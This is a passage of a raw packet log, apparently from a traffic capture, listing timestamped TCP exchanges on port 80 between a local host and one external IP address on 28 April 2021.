Apr 28, 2021 23:24:50.878870010 CEST	50290	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.974606037 CEST	80	50290	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.976310968 CEST	50290	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.976763964 CEST	80	50289	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.977670908 CEST	50290	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.989104986 CEST	50289	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.075786114 CEST	80	50290	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:51.080032110 CEST	80	50290	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:51.080338955 CEST	50290	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.196310043 CEST	50290	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.197331905 CEST	50292	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.292586088 CEST	80	50290	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:51.292969942 CEST	50290	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.298332930 CEST	80	50292	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:51.298482895 CEST	50292	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.299084902 CEST	50292	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.399635077 CEST	80	50292	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:51.403892040 CEST	80	50292	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:51.404040098 CEST	50292	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.510313988 CEST	50292	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.511574030 CEST	50294	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.607861996 CEST	80	50294	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:51.607980967 CEST	50294	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.608642101 CEST	50294	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.612545013 CEST	80	50292	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:51.614912987 CEST	50292	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.702295065 CEST	80	50294	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:51.705620050 CEST	80	50294	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:51.707784891 CEST	50294	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.811137915 CEST	50294	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.812179089 CEST	50296	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.906687975 CEST	80	50294	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:51.906893015 CEST	50294	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.909296036 CEST	80	50296	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:51.909398079 CEST	50296	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:51.909836054 CEST	50296	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.005448103 CEST	80	50296	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.009529114 CEST	80	50296	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.009622097 CEST	50296	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.112472057 CEST	50296	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.136847019 CEST	50297	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.208038092 CEST	80	50296	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.208223104 CEST	50296	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.244936943 CEST	80	50297	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.245093107 CEST	50297	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.245742083 CEST	50297	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.353782892 CEST	80	50297	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.357201099 CEST	80	50297	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.357517958 CEST	50297	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.482714891 CEST	50297	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.485107899 CEST	50298	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.585553885 CEST	80	50298	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.585803986 CEST	50298	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.586277008 CEST	50298	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.590804100 CEST	80	50297	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.596729040 CEST	50297	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.686254025 CEST	80	50298	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.692161083 CEST	80	50298	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.697109938 CEST	50298	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.765652895 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.816237926 CEST	50298	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.817502975 CEST	50301	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.865350962 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.865480900 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.865756989 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.912993908 CEST	80	50301	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.913302898 CEST	50301	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.914621115 CEST	50301	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.916234016 CEST	80	50298	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.916322947 CEST	50298	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.964246988 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.964277983 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.964348078 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.964397907 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.964828968 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.964849949 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.964937925 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.965090990 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.965172052 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.965634108 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.965653896 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.965709925 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.965758085 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.965806007 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.965884924 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.966064930 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.966134071 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:52.966319084 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:52.966388941 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.009643078 CEST	80	50301	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.013137102 CEST	80	50301	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.013885021 CEST	50301	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.064578056 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.064599991 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.064608097 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.064730883 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.064860106 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.064872980 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.064884901 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.064955950 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.065270901 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.065479040 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.065494061 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.065563917 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.066061020 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.066077948 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.066277027 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.066525936 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.066539049 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.066685915 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.131791115 CEST	50301	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.133095026 CEST	50302	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.162622929 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.162646055 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.162659883 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.162709951 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.162822962 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.162924051 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.162981987 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.163115025 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.163428068 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.163446903 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.163624048 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.163986921 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.164237976 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.164252043 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.164505959 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.164594889 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.164611101 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.164671898 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.226656914 CEST	80	50301	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.226685047 CEST	80	50302	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.229851961 CEST	50301	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.229877949 CEST	50302	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.231769085 CEST	50302	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.262933969 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.262959003 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.263254881 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.263298035 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.263309002 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.263777018 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.263791084 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.263798952 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.263880968 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.264967918 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.264988899 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.265037060 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.265295982 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.265309095 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.265789986 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.265806913 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.265985012 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.266002893 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.266324997 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.269104958 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.269221067 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.325476885 CEST	80	50302	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.329133034 CEST	80	50302	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.330082893 CEST	50302	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.367208004 CEST	80	50300	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.367301941 CEST	50300	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.447663069 CEST	50302	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.449997902 CEST	50304	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.541330099 CEST	80	50302	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.541397095 CEST	50302	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.545746088 CEST	80	50304	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.545872927 CEST	50304	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.546341896 CEST	50304	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.642165899 CEST	80	50304	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.646413088 CEST	80	50304	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.646550894 CEST	50304	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.762723923 CEST	50304	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.763910055 CEST	50305	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.857393026 CEST	80	50304	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.857534885 CEST	50304	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.863775969 CEST	80	50305	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.863943100 CEST	50305	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.864367008 CEST	50305	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:53.966095924 CEST	80	50305	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.970105886 CEST	80	50305	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:53.970210075 CEST	50305	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.087956905 CEST	50305	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.089401960 CEST	50307	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.186427116 CEST	80	50307	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:54.186538935 CEST	50307	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.187027931 CEST	50307	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.187446117 CEST	80	50305	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:54.187665939 CEST	50305	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.284756899 CEST	80	50307	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:54.288475990 CEST	80	50307	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:54.288552999 CEST	50307	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.400775909 CEST	50307	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.402215004 CEST	50308	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.497747898 CEST	80	50307	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:54.497814894 CEST	50307	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.504004955 CEST	80	50308	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:54.504127026 CEST	50308	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.506629944 CEST	50308	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.608505011 CEST	80	50308	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:54.612468958 CEST	80	50308	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:54.612586021 CEST	50308	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.733217955 CEST	50308	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.734270096 CEST	50311	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.832020998 CEST	80	50311	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:54.832240105 CEST	50311	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.833425045 CEST	50311	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.834582090 CEST	80	50308	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:54.834712029 CEST	50308	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:54.931488037 CEST	80	50311	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:54.935746908 CEST	80	50311	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:54.935869932 CEST	50311	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.040940046 CEST	50311	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.042023897 CEST	50312	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.139604092 CEST	80	50311	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:55.139735937 CEST	50311	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.142842054 CEST	80	50312	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:55.142931938 CEST	50312	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.143830061 CEST	50312	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.243572950 CEST	80	50312	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:55.247509003 CEST	80	50312	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:55.247598886 CEST	50312	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.356777906 CEST	50312	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.357788086 CEST	50313	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.454653978 CEST	80	50313	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:55.456494093 CEST	80	50312	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:55.456624031 CEST	50312	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.456928968 CEST	50313	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.457169056 CEST	50313	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.555634975 CEST	80	50313	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:55.559719086 CEST	80	50313	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:55.559875965 CEST	50313	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.666312933 CEST	50313	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.667741060 CEST	50314	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.763242960 CEST	80	50313	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:55.765279055 CEST	50313	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.767373085 CEST	80	50314	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:55.767465115 CEST	50314	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.768562078 CEST	50314	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.865464926 CEST	80	50314	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:55.869585991 CEST	80	50314	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:55.870013952 CEST	50314	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.979228020 CEST	50314	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:55.979448080 CEST	50316	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.023535967 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.075155020 CEST	80	50316	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.075881004 CEST	50316	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.076518059 CEST	50316	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.076661110 CEST	80	50314	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.076805115 CEST	50314	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.121403933 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.121542931 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.121824980 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.172190905 CEST	80	50316	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.175966024 CEST	80	50316	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.176062107 CEST	50316	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.216989040 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.217015028 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.217021942 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.217149019 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.217184067 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.217246056 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.217313051 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.294991970 CEST	50316	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.296854019 CEST	50318	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.312479973 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.312516928 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.312536001 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.312556028 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.312575102 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.312592983 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.312633991 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.312699080 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.312766075 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.312869072 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.388350964 CEST	80	50316	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.388463974 CEST	50316	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.392817020 CEST	80	50318	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.392920017 CEST	50318	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.393912077 CEST	50318	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.407813072 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.407835960 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.407850981 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.407866001 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.407951117 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.408056974 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.408083916 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.408114910 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.408202887 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.408271074 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.408370972 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.408395052 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.408483028 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.408565044 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.408647060 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.408708096 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.408719063 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.408787966 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.408859015 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.408870935 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.408941984 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.409081936 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.489716053 CEST	80	50318	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.494215965 CEST	80	50318	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.494319916 CEST	50318	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.503062963 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.503081083 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.503107071 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.503273964 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.503578901 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.503632069 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.503645897 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.503942013 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.503957033 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.503971100 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.503983974 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.504132032 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.504147053 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.504307032 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.504354954 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.504584074 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.506014109 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.506171942 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.603482008 CEST	50318	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.603693962 CEST	80	50317	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.603835106 CEST	50317	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.604931116 CEST	50320	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.699131012 CEST	80	50318	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.699240923 CEST	50318	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.700531960 CEST	80	50320	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.700633049 CEST	50320	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.701406002 CEST	50320	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:56.797002077 CEST	80	50320	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:56.805012941 CEST	80	50320	176.111.174.114	192.168.2.5
